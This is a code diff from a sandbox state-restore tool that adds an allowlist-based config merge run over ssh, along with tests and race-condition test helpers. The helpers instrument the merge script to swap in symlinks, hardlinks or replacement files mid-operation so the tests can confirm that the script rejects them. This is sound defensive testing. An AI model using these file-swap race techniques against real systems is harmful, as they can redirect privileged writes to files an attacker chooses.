buildKeyAllowlistMergeRestoreCommand, + KEY_ALLOWLIST_MERGE_PYTHON, + stateFileKeyMergeSpec, +} from "./state-file-key-merge"; + +export const GENERATED_HEADER = "# Generated by NemoClaw. This file contains no provider secrets."; +export const FRESH_PROVIDER_HEADER = + "# NemoClaw provider route: inference; upstream provider: compatible-endpoint; API: openai-completions."; + +const PYTHON_TEST_TOMLI_WRITER_SHIM = String.raw` +import json +import subprocess +import sys +import types + +NODE_TOML_WRITER = r""" +const fs = require("node:fs"); +const { stringify } = require("smol-toml"); +const value = JSON.parse(fs.readFileSync(0, "utf8")); +process.stdout.write(stringify(value)); +""" + +def dumps(value): + completed = subprocess.run( + ["node", "-e", NODE_TOML_WRITER], + input=json.dumps(value, allow_nan=False), + capture_output=True, + check=True, + text=True, + ) + return completed.stdout + +tomli_w = types.ModuleType("tomli_w") +tomli_w.dumps = dumps +sys.modules["tomli_w"] = tomli_w + +try: + script_index = sys.argv.index("-c", 1) + 1 +except ValueError: + script_index = 1 +script = sys.argv[script_index] +sys.argv = [sys.argv[0], *sys.argv[script_index + 1:]] +exec(script, {"__name__": "__main__"}) +`.trim(); + +export const INODE_SWAP_MARKER = "# replacement created during race test\n"; +function failInstrumentation(label: string): never { + throw new Error(`Could not instrument the ${label}`); +} + +function requireInstrumented(instrumented: string, label: string): string { + return instrumented !== KEY_ALLOWLIST_MERGE_PYTHON ? instrumented : failInstrumentation(label); +} + +const INODE_REVALIDATION_POINT = String.raw` try: + latest_current = os.stat(current_name, dir_fd=parent_fd, follow_symlinks=False)`; +export const INODE_SWAP_SCRIPT = requireInstrumented( + KEY_ALLOWLIST_MERGE_PYTHON.replace( + INODE_REVALIDATION_POINT, + String.raw` swapped_name = current_name + ".pre-swap" + os.replace(current_name, swapped_name, src_dir_fd=parent_fd, dst_dir_fd=parent_fd) + replacement_fd = os.open( + current_name, + os.O_WRONLY | os.O_CREAT | os.O_EXCL, + 0o660, + dir_fd=parent_fd, + ) + try: + os.write(replacement_fd, b"# replacement created during race test\n") + os.fsync(replacement_fd) + finally: + os.close(replacement_fd) + + try: + latest_current = os.stat(current_name, dir_fd=parent_fd, follow_symlinks=False)`, + ), + "current-config inode revalidation point", +); + +export const IN_PLACE_MUTATION_SCRIPT = requireInstrumented( + KEY_ALLOWLIST_MERGE_PYTHON.replace( + INODE_REVALIDATION_POINT, + String.raw` mutation_fd = os.open( + current_name, + os.O_WRONLY | getattr(os, "O_NOFOLLOW", 0), + dir_fd=parent_fd, + ) + try: + os.lseek(mutation_fd, 0, os.SEEK_END) + os.write(mutation_fd, b"# concurrent mutation\n") + os.fsync(mutation_fd) + finally: + os.close(mutation_fd) + + try: + latest_current = os.stat(current_name, dir_fd=parent_fd, follow_symlinks=False)`, + ), + "current-config version revalidation point", +); + +const STAGE_REVALIDATION_POINT = String.raw` try: + latest_staged = os.stat(staged_name, dir_fd=parent_fd, follow_symlinks=False)`; + +export function stageSwapScript(kind: "hardlink" | "regular" | "symlink"): string { + const replacement = + kind === "symlink" + ? "os.symlink(attack_name, staged_name, dir_fd=parent_fd)" + : kind === "hardlink" + ? "os.link(attack_name, staged_name, src_dir_fd=parent_fd, dst_dir_fd=parent_fd, follow_symlinks=False)" + : String.raw`replacement_fd = os.open( + staged_name, + os.O_WRONLY | os.O_CREAT | os.O_EXCL, + 0o600, + dir_fd=parent_fd, + ) + try: + os.write(replacement_fd, b"replacement stage must not be installed\n") + os.fsync(replacement_fd) + finally: + os.close(replacement_fd)`; + return requireInstrumented( + KEY_ALLOWLIST_MERGE_PYTHON.replace( + STAGE_REVALIDATION_POINT, + String.raw` attack_name = ".nemoclaw-stage-attack-target" + attack_fd = os.open( + attack_name, + os.O_WRONLY | os.O_CREAT | os.O_EXCL, + 0o600, + dir_fd=parent_fd, + ) + try: + os.write(attack_fd, b"stage attack target must remain unchanged\n") + os.fsync(attack_fd) + finally: + os.close(attack_fd) + os.unlink(staged_name, dir_fd=parent_fd) + ${replacement} + + try: + latest_staged = os.stat(staged_name, dir_fd=parent_fd, follow_symlinks=False)`, + ), + "staged-config inode revalidation point", + ); +} + +export const DCODE_OWNERSHIP: StateFileKeyAllowlistRestoreOwnership = { + merge: "key-allowlist", + userKeys: [ + { key: "ui.show_scrollbar", type: "boolean" }, + { key: "ui.show_url_open_toast", type: "boolean" }, + { key: "threads.relative_time", type: "boolean" }, + { key: "threads.sort_order", type: "enum", values: ["updated_at", "created_at"] }, + ], + requireFreshTables: ["models", "update"], + requireFreshHeaders: [ + { match: "exact", value: GENERATED_HEADER }, + { match: "prefix", value: "# NemoClaw provider route: " }, + ], +}; + +export function generatedCurrent(config: unknown, providerHeader = FRESH_PROVIDER_HEADER): string { + return `${GENERATED_HEADER}\n${providerHeader}\n\n${stringify(config)}`; +} + +interface RunMergeOptions { + script?: string; +} + +export function runMergeScript( + backup: string, + current: string, + ownership: StateFileKeyAllowlistRestoreOwnership, + options: RunMergeOptions = {}, +): { + current: string; + status: number | null; + stderr: string; + stageEntries: string[]; + swappedOriginal: string | null; +} { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-state-file-key-merge-")); + try { + const currentPath = path.join(dir, "config.toml"); + fs.writeFileSync(currentPath, current, { mode: 0o660 }); + + const result = spawnSync( + "python3", + [ + "-I", + "-c", + PYTHON_TEST_TOMLI_WRITER_SHIM, + options.script ?? KEY_ALLOWLIST_MERGE_PYTHON, + dir, + "config.toml", + JSON.stringify(stateFileKeyMergeSpec(ownership)), + ], + { encoding: "utf-8", input: backup }, + ); + return { + current: fs.readFileSync(currentPath, "utf-8"), + status: result.status, + stderr: result.stderr, + stageEntries: fs + .readdirSync(dir) + .filter((entry) => entry.startsWith(".nemoclaw-restore-merged.")), + swappedOriginal: fs.existsSync(`${currentPath}.pre-swap`) + ? fs.readFileSync(`${currentPath}.pre-swap`, "utf-8") + : null, + }; + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } +} + +interface ProductionRunOptions { + currentLink?: "hardlink" | "symlink"; + parentAncestorSymlink?: boolean; + script?: string; +} + +function ancestorSymlinkConfigDir(dir: string): { configDir: string; stateFilePath: string } { + fs.mkdirSync(path.join(dir, "real", "nested"), { recursive: true }); + fs.symlinkSync("real", path.join(dir, "alias")); + return { + configDir: path.join(dir, "alias", "nested"), + stateFilePath: "alias/nested/config.toml", + }; +} + +function writePlainCurrentConfig(currentPath: string, current: string): null { + fs.writeFileSync(currentPath, current, { mode: 0o660 }); + return null; +} + +function writeLinkedCurrentConfig( + dir: string, + currentPath: string, + current: string, + currentLink: "hardlink" | "symlink", +): string { + const currentTargetPath = path.join(dir, "current.target"); + fs.writeFileSync(currentTargetPath, current, { mode: 0o660 }); + currentLink === "symlink" + ? fs.symlinkSync(path.basename(currentTargetPath), currentPath) + : fs.linkSync(currentTargetPath, currentPath); + return currentTargetPath; +} + +export function runProductionCommand( + backup: string, + current: string, + options: ProductionRunOptions = {}, +): { + command: string; + attackTarget: string | null; + current: string; + currentTarget: string | null; + dir: string; + entries: string[]; + status: number | null; + stderr: string; +} { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-state-file-command-")); + const { configDir, stateFilePath } = options.parentAncestorSymlink + ? ancestorSymlinkConfigDir(dir) + : { configDir: dir, stateFilePath: "config.toml" }; + const currentPath = path.join(configDir, "config.toml"); + try { + const currentTargetPath = options.currentLink + ? writeLinkedCurrentConfig(dir, currentPath, current, options.currentLink) + : writePlainCurrentConfig(currentPath, current); + const baseCommand = buildKeyAllowlistMergeRestoreCommand( + dir, + { path: stateFilePath }, + DCODE_OWNERSHIP, + ); + const commandWithScript = options.script + ? baseCommand.replace(shellQuote(KEY_ALLOWLIST_MERGE_PYTHON), shellQuote(options.script)) + : baseCommand; + const command = commandWithScript.replace( + "/opt/venv/bin/python3", + `python3 -I -c ${shellQuote(PYTHON_TEST_TOMLI_WRITER_SHIM)}`, + ); + const result = spawnSync("bash", ["-c", command], { + encoding: "utf-8", + input: backup, + }); + return { + command, + attackTarget: fs.existsSync(path.join(dir, ".nemoclaw-stage-attack-target")) + ? fs.readFileSync(path.join(dir, ".nemoclaw-stage-attack-target"), "utf-8") + : null, + current: fs.readFileSync(currentPath, "utf-8"), + currentTarget: currentTargetPath ? fs.readFileSync(currentTargetPath, "utf-8") : null, + dir, + entries: fs.readdirSync(dir), + status: result.status, + stderr: result.stderr, + }; + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } +} + +export function mergedToml(config: string): Record { + return parse(config) as Record; +} diff --git a/src/lib/state/state-file-key-merge.ts b/src/lib/state/state-file-key-merge.ts new file mode 100644 index 0000000000..ffc6558dd8 --- /dev/null +++ b/src/lib/state/state-file-key-merge.ts @@ -0,0 +1,72 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import type { StateFileKeyAllowlistRestoreOwnership, StateFileUserKeyType } from "../agent/defs.js"; +import { shellQuote } from "../runner.js"; + +export { KEY_ALLOWLIST_MERGE_PYTHON } from "./key-allowlist-merge/python-script.js"; + +import { KEY_ALLOWLIST_MERGE_PYTHON } from "./key-allowlist-merge/python-script.js"; + +interface PythonUserKey { + path: string[]; + type: StateFileUserKeyType; + values?: readonly (string | number | boolean)[]; + min?: number; + max?: number; + max_length?: number; +} + +export interface KeyAllowlistMergeSpec { + user_keys: PythonUserKey[]; + require_fresh_tables: string[][]; + require_fresh_headers: { match: "exact" | "prefix"; value: string }[]; +} + +export function stateFileKeyMergeSpec( + ownership: StateFileKeyAllowlistRestoreOwnership, +): KeyAllowlistMergeSpec { + return { + user_keys: (ownership.userKeys ?? []).map((key) => { + const spec: PythonUserKey = { path: key.key.split("."), type: key.type }; + if (key.type === "enum" && key.values) spec.values = key.values; + if (key.type === "integer" || key.type === "number") { + if (key.min !== undefined) spec.min = key.min; + if (key.max !== undefined) spec.max = key.max; + } + if (key.type === "string" && key.maxLength !== undefined) spec.max_length = key.maxLength; + return spec; + }), + require_fresh_tables: (ownership.requireFreshTables ?? []).map((table) => table.split(".")), + require_fresh_headers: (ownership.requireFreshHeaders ?? []).map((header) => ({ + match: header.match, + value: header.value, + })), + }; +} + +function assertSafeStateFilePath(path: string): void { + if (path.startsWith("/") || path.split("/").some((segment) => segment === "..")) { + throw new Error(`State file path '${path}' must be a relative path without '..' segments`); + } +} + +export function buildKeyAllowlistMergeRestoreCommand( + dir: string, + spec: { path: string }, + ownership: StateFileKeyAllowlistRestoreOwnership, +): string { + assertSafeStateFilePath(spec.path); + const normalizedDir = dir.replace(/\/+$/, ""); + const destination = shellQuote(`${normalizedDir}/${spec.path}`); + const baseDir = shellQuote(normalizedDir); + const relativePath = shellQuote(spec.path); + const mergeSpec = shellQuote(JSON.stringify(stateFileKeyMergeSpec(ownership))); + return [ + `dst=${destination}`, + 'parent="$(dirname "$dst")"', + '[ -d "$parent" ] && [ ! -L "$parent" ] || { echo "unsafe config parent" >&2; exit 10; }', + '[ -f "$dst" ] && [ ! -L "$dst" ] || { echo "fresh config is missing or unsafe" >&2; exit 11; }', + `/opt/venv/bin/python3 -I -c ${shellQuote(KEY_ALLOWLIST_MERGE_PYTHON)} ${baseDir} ${relativePath} ${mergeSpec}`, + ].join("; "); +} diff --git a/src/lib/state/state-file-restore-custom-image.test.ts b/src/lib/state/state-file-restore-custom-image.test.ts new file mode 100644 index 0000000000..6ede727bb8 --- /dev/null +++ b/src/lib/state/state-file-restore-custom-image.test.ts @@ -0,0 +1,98 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; + +import { afterEach, describe, expect, it, vi } from "vitest"; + +import type { StateFileKeyAllowlistRestoreOwnership } from "../agent/defs"; +import { restoreStateFile } from "./state-file-restore"; + +type SpawnSyncCall = ( + command: string, + args: readonly string[], + options: { input?: Buffer }, +) => { status: number; error?: Error; signal: NodeJS.Signals | null; stderr: Buffer }; + +const spawnSyncMock = vi.hoisted(() => + vi.fn(() => ({ status: 0, signal: null, stderr: Buffer.alloc(0) })), +); + +vi.mock("node:child_process", () => ({ + spawnSync: spawnSyncMock, +})); + +const fixtures: string[] = []; +const ownership: StateFileKeyAllowlistRestoreOwnership = { + merge: "key-allowlist", + userKeys: [{ key: "ui.show_scrollbar", type: "boolean" }], + requireFreshTables: ["models"], +}; + +function createBackupFixture(): { backupPath: string; backupContents: Buffer } { + const backupPath = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-custom-state-")); + fixtures.push(backupPath); + const backupContents = Buffer.from( + '[models]\ndefault = "backup-owned"\n\n[ui]\nshow_scrollbar = true\n', + ); + fs.writeFileSync(path.join(backupPath, "config.toml"), backupContents); + return { backupPath, backupContents }; +} + +afterEach(() => { + vi.clearAllMocks(); + for (const fixture of fixtures.splice(0)) { + fs.rmSync(fixture, { recursive: true, force: true }); + } +}); + +describe("custom-image state-file restore capability (#6334)", () => { + it("restores the complete backup without invoking the managed key allowlist", () => { + const { backupPath, backupContents } = createBackupFixture(); + + const restored = restoreStateFile( + ["-F", "/tmp/ssh-config", "openshell-alpha"], + "/sandbox/.deepagents", + { path: "config.toml", strategy: "copy" }, + backupPath, + ownership, + true, + vi.fn(), + ); + + expect(restored).toBe(true); + const [binary, args, options] = spawnSyncMock.mock.calls[0] ?? []; + expect(binary).toBe("ssh"); + const command = String(args?.at(-1)); + expect(command).toContain(".nemoclaw-restore.XXXXXX"); + expect(command).not.toContain("/opt/venv/bin/python3"); + expect(command).not.toContain("show_scrollbar"); + expect(options?.input).toEqual(backupContents); + }); + + it("requires the capability before bypassing the managed key allowlist", () => { + const { backupPath, backupContents } = createBackupFixture(); + + const restored = restoreStateFile( + ["-F", "/tmp/ssh-config", "openshell-alpha"], + "/sandbox/.deepagents", + { path: "config.toml", strategy: "copy" }, + backupPath, + ownership, + false, + vi.fn(), + ); + + expect(restored).toBe(true); + const [binary, args, options] = spawnSyncMock.mock.calls[0] ?? []; + expect(binary).toBe("ssh"); + const command = String(args?.at(-1)); + expect(command).toContain("/opt/venv/bin/python3 -I -c"); + expect(command).toContain("show_scrollbar"); + expect(command).toContain("require_fresh_tables"); + expect(command).not.toContain(".nemoclaw-restore.XXXXXX"); + expect(options?.input).toEqual(backupContents); + }); +}); diff --git a/src/lib/state/state-file-restore-policy.ts b/src/lib/state/state-file-restore-policy.ts deleted file mode 100644 index ee9310dc23..0000000000 --- a/src/lib/state/state-file-restore-policy.ts +++ /dev/null @@ -1,20 +0,0 @@ -// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. -// SPDX-License-Identifier: Apache-2.0 - -export interface StateFileRestoreSpec { - path: string; - strategy: "copy" | "sqlite_backup"; -} - -export interface StateFileRestorePlan { - command: string; - input: Buffer; -} - -/** Optional capability for a caller-authorized, file-specific restore plan. */ -export type StateFileRestorePolicy = ( - agentType: string | null | undefined, - dir: string, - spec: StateFileRestoreSpec, - backupContents: Buffer, -) => StateFileRestorePlan | null; diff --git a/src/lib/state/state-file-restore.ts b/src/lib/state/state-file-restore.ts new file mode 100644 index 0000000000..a893a599c4 --- /dev/null +++ b/src/lib/state/state-file-restore.ts @@ -0,0 +1,164 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { spawnSync } from "node:child_process"; +import { existsSync, readFileSync } from "node:fs"; +import path from "node:path"; + +import type { StateFileRestoreOwnership } from "../agent/defs.js"; +import { shellQuote } from "../runner.js"; +import { buildOpenClawConfigRestoreInputFromSandbox } from "./openclaw-config-restore-input.js"; +import type { OpenClawImagePluginInstall } from "./openclaw-plugin-restore.js"; +import { buildKeyAllowlistMergeRestoreCommand } from "./state-file-key-merge.js"; + +export interface StateFileRestoreSpec { + path: string; + strategy: "copy" | "sqlite_backup"; +} + +const SQLITE_RESTORE_PY = [ + "import os, sqlite3, sys", + "src, dst = sys.argv[1], sys.argv[2]", + "os.makedirs(os.path.dirname(dst), exist_ok=True)", + "src_conn = sqlite3.connect('file:' + src + '?mode=ro', uri=True, timeout=30)", + "dst_conn = sqlite3.connect(dst, timeout=30)", + "try:", + " dst_conn.execute('PRAGMA busy_timeout=30000')", + " src_conn.backup(dst_conn)", + " ok = dst_conn.execute('PRAGMA quick_check').fetchone()[0]", + " if ok != 'ok':", + " raise SystemExit('sqlite quick_check failed: ' + str(ok))", + "finally:", + " dst_conn.close()", + " src_conn.close()", + "os.chmod(dst, 0o660)", +].join("\n"); + +function stateFileRemotePath(dir: string, filePath: string): string { + return `${dir.replace(/\/+$/, "")}/${filePath}`; +} + +export function buildStateFileRestoreCommand( + dir: string, + spec: StateFileRestoreSpec, + refreshOpenClawConfigHash = false, +): string { + const remotePath = stateFileRemotePath(dir, spec.path); + const quotedRemotePath = shellQuote(remotePath); + if (spec.strategy === "sqlite_backup") { + return [ + `dst=${quotedRemotePath}`, + 'parent="$(dirname "$dst")"', + '[ ! -L "$parent" ] || { echo "refusing symlinked state parent: $parent" >&2; exit 10; }', + '[ ! -L "$dst" ] || { echo "refusing symlinked sqlite target: $dst" >&2; exit 11; }', + 'mkdir -p "$parent"', + 'tmp="$(mktemp /tmp/nemoclaw-sqlite-restore.XXXXXX)"', + "trap 'rm -f \"$tmp\"' EXIT", + 'cat > "$tmp"', + 'chmod 600 "$tmp"', + `umask 0007; python3 -c ${shellQuote(SQLITE_RESTORE_PY)} "$tmp" "$dst"`, + ].join("; "); + } + + const steps = [ + `dst=${quotedRemotePath}`, + 'parent="$(dirname "$dst")"', + '[ ! -L "$parent" ] || { echo "refusing symlinked state parent: $parent" >&2; exit 10; }', + '[ ! -L "$dst" ] || { echo "refusing symlinked state target: $dst" >&2; exit 11; }', + 'mkdir -p "$parent"', + 'tmp="$(mktemp "${parent}/.nemoclaw-restore.XXXXXX")"', + 'trap \'rm -f "$tmp" "${anchor_tmp:-}"\' EXIT', + 'cat > "$tmp"', + 'chmod 640 "$tmp"', + ]; + + if (refreshOpenClawConfigHash) { + // Stage the OpenClaw recovery anchor before swapping the live config so + // the integrity watcher can never observe a restored config paired with a + // stale `.last-good` recovery target. + steps.push( + 'last_good="${dst}.last-good"', + '[ ! -L "$last_good" ] || { echo "refusing symlinked last-good target: $last_good" >&2; exit 13; }', + 'anchor_tmp="$(mktemp "${parent}/.nemoclaw-lastgood.XXXXXX")" || { echo "failed to stage last-good anchor" >&2; exit 14; }', + 'cat "$tmp" > "$anchor_tmp" || { echo "failed to write last-good anchor" >&2; exit 14; }', + 'chmod 660 "$anchor_tmp" 2>/dev/null || true', + 'mv -f "$anchor_tmp" "$last_good" || { echo "failed to install last-good anchor" >&2; exit 14; }', + ); + } + + steps.push('mv -f "$tmp" "$dst"'); + + if (refreshOpenClawConfigHash) { + steps.push( + 'hash_file="${parent}/.config-hash"', + '[ ! -L "$hash_file" ] || { echo "refusing symlinked config hash target: $hash_file" >&2; exit 12; }', + '(cd "$parent" && sha256sum "$(basename "$dst")" > .config-hash)', + 'chmod 660 "$hash_file" 2>/dev/null || true', + ); + } + + return steps.join("; "); +} + +export function restoreStateFile( + sshArgs: readonly string[], + dir: string, + spec: StateFileRestoreSpec, + backupPath: string, + ownership: StateFileRestoreOwnership | undefined, + allowCustomImageWholeStateFileRestore: boolean, + log: (message: string) => void, + freshImagePluginInstalls?: readonly OpenClawImagePluginInstall[], + previousImagePluginInstalls?: readonly OpenClawImagePluginInstall[], +): boolean { + const localPath = path.join(backupPath, spec.path); + if (!existsSync(localPath)) return true; + + const backupContents = readFileSync(localPath); + log(`Restoring state file ${spec.path} (${spec.strategy})`); + + let command: string; + let input: Buffer | null; + if (ownership?.merge === "openclaw-config") { + command = buildStateFileRestoreCommand(dir, spec, true); + const result = buildOpenClawConfigRestoreInputFromSandbox({ + backupContents, + dir, + freshImagePluginInstalls, + log, + previousImagePluginInstalls, + specPath: spec.path, + sshArgs, + }); + if (result.ok) { + input = result.input; + } else { + log(`FAILED: ${result.error}`); + input = null; + } + } else if (ownership?.merge === "key-allowlist") { + command = allowCustomImageWholeStateFileRestore + ? buildStateFileRestoreCommand(dir, spec, false) + : buildKeyAllowlistMergeRestoreCommand(dir, spec, ownership); + input = backupContents; + } else { + command = buildStateFileRestoreCommand(dir, spec, false); + input = backupContents; + } + if (input === null) return false; + + const result = spawnSync("ssh", [...sshArgs, command], { + input, + stdio: ["pipe", "pipe", "pipe"], + timeout: 120000, + }); + + if (result.status === 0 && !result.error && !result.signal) return true; + + const detail = + (result.stderr?.toString() || "").trim() || + result.error?.message || + (result.signal ? `signal ${result.signal}` : `exit ${String(result.status)}`); + log(`FAILED: state file restore ${spec.path}: ${detail.substring(0, 200)}`); + return false; +} diff --git a/test/helpers/rebuild-flow-recovery-cases.ts b/test/helpers/rebuild-flow-recovery-cases.ts index c1b32bb194..fe1d8aebf0 100644 --- a/test/helpers/rebuild-flow-recovery-cases.ts +++ b/test/helpers/rebuild-flow-recovery-cases.ts @@ -69,7 +69,7 @@ export function registerRebuildFlowRecoveryTests(): void { expect(harness.restoreSandboxStateSpy).toHaveBeenCalledWith( "alpha", recoveryManifest.backupPath, - { targetAgentType: "openclaw" }, + { targetAgentType: "openclaw", allowCustomImageWholeStateFileRestore: true }, ); }); diff --git a/test/snapshot.test.ts b/test/snapshot.test.ts index f92598d442..12fcec7174 100644 --- a/test/snapshot.test.ts +++ b/test/snapshot.test.ts @@ -273,6 +273,7 @@ describe("listBackups computes virtual versions", () => { stateDirs: ["workspace"], backedUpDirs: ["workspace"], }); + writeAgentRegistry("test-sandbox", "openclaw"); fs.writeFileSync(path.join(String(manifest.backupPath), "workspace"), "not a directory"); const restore = sandboxState.restoreSandboxState("test-sandbox", String(manifest.backupPath)); @@ -1133,6 +1134,14 @@ describe("Deep Agents Code durable state files", () => { recursive: true, }); fs.writeFileSync(path.join(deepAgentsDir, ".state", "thread.json"), "{}\n"); + fs.writeFileSync( + path.join(deepAgentsDir, ".state", "auth.json"), + '{"access_token":"should-not-copy"}\n', + ); + fs.writeFileSync( + path.join(deepAgentsDir, ".state", "chatgpt-auth.json"), + '{"access_token":"should-not-copy","refresh_token":"should-not-copy"}\n', + ); fs.writeFileSync(path.join(deepAgentsDir, "skills", "README.md"), "skill\n"); // skill-creator writes user skills under ~/.deepagents/agent/skills (#5753) fs.writeFileSync( @@ -1221,6 +1230,12 @@ process.exit(0); expect(fs.existsSync(path.join(backup.manifest!.backupPath, ".state", "thread.json"))).toBe( true, ); + expect(fs.existsSync(path.join(backup.manifest!.backupPath, ".state", "auth.json"))).toBe( + false, + ); + expect( + fs.existsSync(path.join(backup.manifest!.backupPath, ".state", "chatgpt-auth.json")), + ).toBe(false); expect(fs.existsSync(path.join(backup.manifest!.backupPath, "skills", "README.md"))).toBe( true, );